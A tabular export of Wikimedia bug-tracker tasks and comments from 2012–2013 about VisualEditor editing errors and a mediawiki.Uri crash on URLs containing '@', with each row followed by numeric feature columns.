+For IE 8, however, it's likely because VE isn't supported in IE8 yet ( per https://en.wikipedia.org/wiki/Wikipedia:VisualEditor#Current_limitations Chrome/Firefox/Safari only). If I remember correctly it's because it actually needs a fair bit of refactoring specifically for IE (and possibly only 9 and 10 and never 8) because it handles things totally differently.",,,1355301776,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0,0,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+199710,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","IE8 shows errors
+Details zum Fehler auf der Webseite
+
+Benutzer-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)
+Zeitstempel: Wed, 12 Dec 2012 08:18:19 UTC
+
+
+Meldung: Bezeichner, Zeichenfolge oder Zahl erwartet
+Zeile: 5
+Zeichen: 746
+Code: 0
+URI: https://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Cjquery.multiSuggest%7Crangy&skin=vector&version=20121212T032708Z&*",,,1355300330,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+199705,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them",http://i.imgur.com/gsL16.png,,,1355300009,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+199699,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them",* Firefox 17.0.1,,,1355299935,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+44937,VisualEditor: Removing copy/pasted link annotations removes the original as well,"1. Add a link to some text
+2. Copy the text
+3. Paste the text somewhere else
+4. Remove the link using the link inspector's trash icon
+5. See that both links are gone
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1355191860,1355193795.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-rifozrrb2mk5wki2qrw4,task_description,resolved,True,c1,1,False,False,True,-29,,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+196764,VisualEditor: Removing copy/pasted link annotations removes the original as well,Now landed in master.,,,1355193795,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rifozrrb2mk5wki2qrw4,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+196758,VisualEditor: Removing copy/pasted link annotations removes the original as well,Fixed in gerrit 38009.,,,1355192089,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rifozrrb2mk5wki2qrw4,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+44806,VisualEditor: Type mismatch when inserting unbalanced content,"**Author:** `orbit`
+
+**Description:**
+Steps to reproduce:
+1. Copy part of a headline and part of a following paragraph
+2. Paste into a paragrah
+
+The linmod being inserted will look something like this:
+[""s"", ""u"", ""m"", ""?"", Object, Object, ""C"", ""o"", ""n"", ""t""]
+
+The objects are closing heading and opening paragraph.
+
+The error is in ve.dm.Document.js on 1145.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1354837920,1354916275.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-upsvylaxm2favfgmiub4,task_description,resolved,True,c1,0,False,False,True,-30,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1
+189635,VisualEditor: Type mismatch when inserting unbalanced content,Now merged into master.,,,1354916275,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-upsvylaxm2favfgmiub4,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+189627,VisualEditor: Type mismatch when inserting unbalanced content,Id9269a29e51ca213508de8f155d3feec5e5b0774 should resolve this,,,1354907772,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-upsvylaxm2favfgmiub4,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+189622,VisualEditor: Type mismatch when inserting unbalanced content,I believe Trevor meant ab</p></li></ol><p>cd breaking.,,,1354904980,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-upsvylaxm2favfgmiub4,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1
+189616,VisualEditor: Type mismatch when inserting unbalanced content,"**orbit** wrote:
+
+ab</p></li><p>cd is invalid markup anyway.",,,1354903732,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-upsvylaxm2favfgmiub4,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+189609,VisualEditor: Type mismatch when inserting unbalanced content,"I0d2b593e05ebdee807e2cc6eeb902d542db3895f is a start, but there's still some issues.
+
+Given the target: <p>12[cursor]34</p>
+
+OK: ab</p><p>cd
+OK: ab</h2><p>cd
+BAD: ab</p></li><p>cd",,,1354843715,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-upsvylaxm2favfgmiub4,task_subcomment,,True,c1,0,False,,,-30,,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1
+189603,VisualEditor: Type mismatch when inserting unbalanced content,Now being done by Trevor; reassigning.,,,1354841984,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-upsvylaxm2favfgmiub4,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+44707,VisualEditor: Deleting across inline alien errors,"**Author:** `orbit`
+
+**Description:**
+Try creating ""some text <inlinealien>blah</inlinealien> more text"" and select across the inline alien and delete. 
+
+Uncaught TypeError: Cannot call method 'getDataFromNode' of undefined
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1354669260,1354739553.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-3mbtnybtpij42l625lvd,task_description,resolved,True,c1,0,False,False,True,-30,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1
+183531,VisualEditor: Deleting across inline alien errors,Fix in gerrit 37056.,,,1354738462,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3mbtnybtpij42l625lvd,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+183528,VisualEditor: Deleting across inline alien errors,"Argh. I figured out why this happens.
+
+* .splice() is called on the dm.ParagraphNode to remove the alien
+* which calls .adjustLength() on the dm.ParagraphNode
+* which emits an update event on the dm.ParagraphNode
+* which causes .renderContents() to be called on the ce.ParagraphNode
+* which attempts to rerender its ce.TextNode children
+* one of which is now associated with a detached dm.TextNode
+* which means it crashed when trying to get the data from the linear model
+
+I'm not entirely sure what the solution should be. Perhaps ce.ContentBranchNode shouldn't rerender for an update on the node itself, only on its children?",,,1354733644,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3mbtnybtpij42l625lvd,task_subcomment,,True,c1,0,False,,,-30,,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+44657,VisualEditor: Backspace over a slug at the end of the document throws an error,"Pressing backspace in a slug at the end of the document throws an error:
+
+* Create a new page (or go to an existing one), and enter ""ABCD\n"" at the end
+* With the cursor in the new slug, press backspace; this throws an error:
+
+Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 9 is out of bounds
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1354563780,1354755508.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-bsg3qk2puigbios7b56m,task_description,resolved,True,c1,0,True,False,True,-30,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+206311,VisualEditor: Backspace over a slug at the end of the document throws an error,Fixed here: https://gerrit.wikimedia.org/r/#/c/37162/,,,1354755508,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-bsg3qk2puigbios7b56m,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+44552,VisualEditor: Link inspector doesn't close when moving cursor to a different link,"Inspect a link, then click on a different link, the inspector moves to the new cursor location and remains open.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1354217520,1354227540.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-mutotkwptjvzfn2nuk4y,task_description,resolved,True,c1,0,False,False,True,-31,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+199773,VisualEditor: Link inspector doesn't close when moving cursor to a different link,"Resolved in I859123a5fcd36bc2afb2e578f81f30a944c8583a
+
+This bug was introduced somewhere in the recent context rewrite.",,,1354227540,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-mutotkwptjvzfn2nuk4y,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+44525,VisualEditor: Save dialog triggers error (selection bug?),"On launching the save dialog, a console error is thrown:
+
+Uncaught TypeError: Cannot read property 'nodeType' of null /w/extensions/VisualEditor/modules/ve/ce/ve.ce.js:117
+ve.ce.getOffset /w/extensions/VisualEditor/modules/ve/ce/ve.ce.js:117
+ve.ce.SurfaceObserver.poll /w/extensions/VisualEditor/modules/ve/ce/ve.ce.SurfaceObserver.js:136
+ve.ce.SurfaceObserver.stop /w/extensions/VisualEditor/modules/ve/ce/ve.ce.SurfaceObserver.js:82
+ve.ce.Surface.documentOnBlur /w/extensions/VisualEditor/modules/ve/ce/ve.ce.Surface.js:324
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1354155360,1354155569.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-bp5lorruinm7xnzv76mb,task_description,resolved,True,c1,0,True,False,True,-31,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+198244,VisualEditor: Save dialog triggers error (selection bug?),"
+
+*** This bug has been marked as a duplicate of bug 41504 ***",,,1354155569,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-bp5lorruinm7xnzv76mb,task_subcomment,,True,c1,0,True,,,-31,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+44522,VisualEditor: Integrate edit conflict confirmation into the save dialog,"As of I002c5aa23704c1c46ef46fa1970a4254614b9eb1 when saving and an edit conflict occurs the user is shown a browser-provided confirmation box which allows them to either cancel or resolve the conflict manually.
+
+It would be much better if this was integrated into the save dialog.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1354147200,1368574606.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-2iww52jmzvuwmwgsjy5e,task_description,resolved,True,c1,0,False,False,True,-31,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+198104,VisualEditor: Integrate edit conflict confirmation into the save dialog,Merged into master and will go out with wmf5.,,,1368574606,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2iww52jmzvuwmwgsjy5e,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+198099,VisualEditor: Integrate edit conflict confirmation into the save dialog,Related URL: https://gerrit.wikimedia.org/r/63679 (Gerrit Change I709d936d998b130515b62de880c6e7aa7978786b),,,1368550555,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2iww52jmzvuwmwgsjy5e,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+44513,mediawiki.Uri crashes in pages with '@' in their url,"It isn't just that this would throw an exception:
+
+ new mw.Uri('http://krinkle.dev/mediawiki/alpha/index.php?title=VisualEditor:S@box&action=edit');
+
+Although that is also bad (when done on non-@ pages), it is especially bad that on pages containing an @ in the url, the module won't even finish loading because of this line:
+
+ defaultUri = new Uri( documentLocation );
+
+So instead, mw.Uri stays undefined.
+
+--------------------------
+**Version**: 1.19
+**Severity**: critical",High,80.0,1354127040,1358621587.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-vrsv454ata26ui2zocei,task_description,resolved,True,c1,0,True,False,True,-31,,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0
+197707,mediawiki.Uri crashes in pages with '@' in their url,"I know mine doesn't work, because I put it together in five minutes, but it's definitely proper. Here's the code I used to construct it: http://pastebin.com/ELJ4LdKy",,,1358706140,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+197697,mediawiki.Uri crashes in pages with '@' in their url,"Tyler, this looks way too short on the first glance and doesn't work. It also explicitly doesn't support protocol-relative URIs.
+
+Here's one that works (this is used by Ruby's URI parsing library). Of course it's not hardcoded in the code like this, but constructed on the fly from regexes for specific URI parts. I could port this to JS in a reasonable way, if anybody except for me actually wants this.
+
+/^(?:[a-zA-Z][\-+.a-zA-Z\d]*:(?:(?:\/\/(?:(?:(?:[\-_.!~*'()a-zA-Z\d;:&=+$,]|%[a-fA-F\d]{2})*@)?(?:(?:[a-zA-Z0-9\-.]|%\h\h)+|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|\[(?:(?:[a-fA-F\d]{1,4}:)*(?:[a-fA-F\d]{1,4}|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:(?:[a-fA-F\d]{1,4}:)*[a-fA-F\d]{1,4})?::(?:(?:[a-fA-F\d]{1,4}:)*(?:[a-fA-F\d]{1,4}|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}))?)\])(?::\d*)?|(?:[\-_.!~*'()a-zA-Z\d$,;:@&=+]|%[a-fA-F\d]{2})+)(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*)?|\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*)(?:\?(?:(?:[\-_.!~*'()a-zA-Z\d;\/?:@&=+$,\[\]]|%[a-fA-F\d]{2})*))?|(?:[\-_.!~*'()a-zA-Z\d;?:@&=+$,]|%[a-fA-F\d]{2})(?:[\-_.!~*'()a-zA-Z\d;\/?:@&=+$,\[\]]|%[a-fA-F\d]{2})*)|(?:\/\/(?:(?:(?:[\-_.!~*'()a-zA-Z\d;:&=+$,]|%[a-fA-F\d]{2})*@)?(?:(?:[a-zA-Z0-9\-.]|%\h\h)+|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|\[(?:(?:[a-fA-F\d]{1,4}:)*(?:[a-fA-F\d]{1,4}|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:(?:[a-fA-F\d]{1,4}:)*[a-fA-F\d]{1,4})?::(?:(?:[a-fA-F\d]{1,4}:)*(?:[a-fA-F\d]{1,4}|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}))?)\])(?::\d*)?|(?:[\-_.!~*'()a-zA-Z\d$,;:@&=+]|%[a-fA-F\d]{2})+)(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*)?|\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*|(?:[\-_.!~*'()a-zA-Z\d;@&=+$,]|%[a-fA-F\d]{2})+(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*)?)(?:\?(?:[\-_.!~*'()a-zA-Z\d;\/?:@&=+$,\[\]]|%[a-fA-F\d]{2})*)?)?(?:#(?:[\-_.!~*'()a-zA-Z\d;\/?:@&=+$,\[\]]|%[a-fA-F\d]{2})*)?$/",,,1358688372,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-24,,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+197688,mediawiki.Uri crashes in pages with '@' in their url,"BTW, for whoever's curious, here is what an official URI regular expression would look like (it does't work, needs debugging; it's probably missing a parentheses or something):
+
+/^[A-Za-z][A-Za-z0-9\+\-\.]*:(\/\/(([:A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2})@)?(\[(|v[A-Fa-f]+\.[:A-Z0-9-\._~!\$&'\(\)\*\+,;=]+)\]|([0-9]|[1-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|2[0-4][0-9]|25[0-5])|([A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))(:[0-9]*)?(\/(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))*)*|\/(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))+(\/(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))*)*|(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))+(\/(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))*)*|)\?((([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2})|[\/\?])*)?(#(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2})|[\/\?])*)?$/",,,1358636139,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
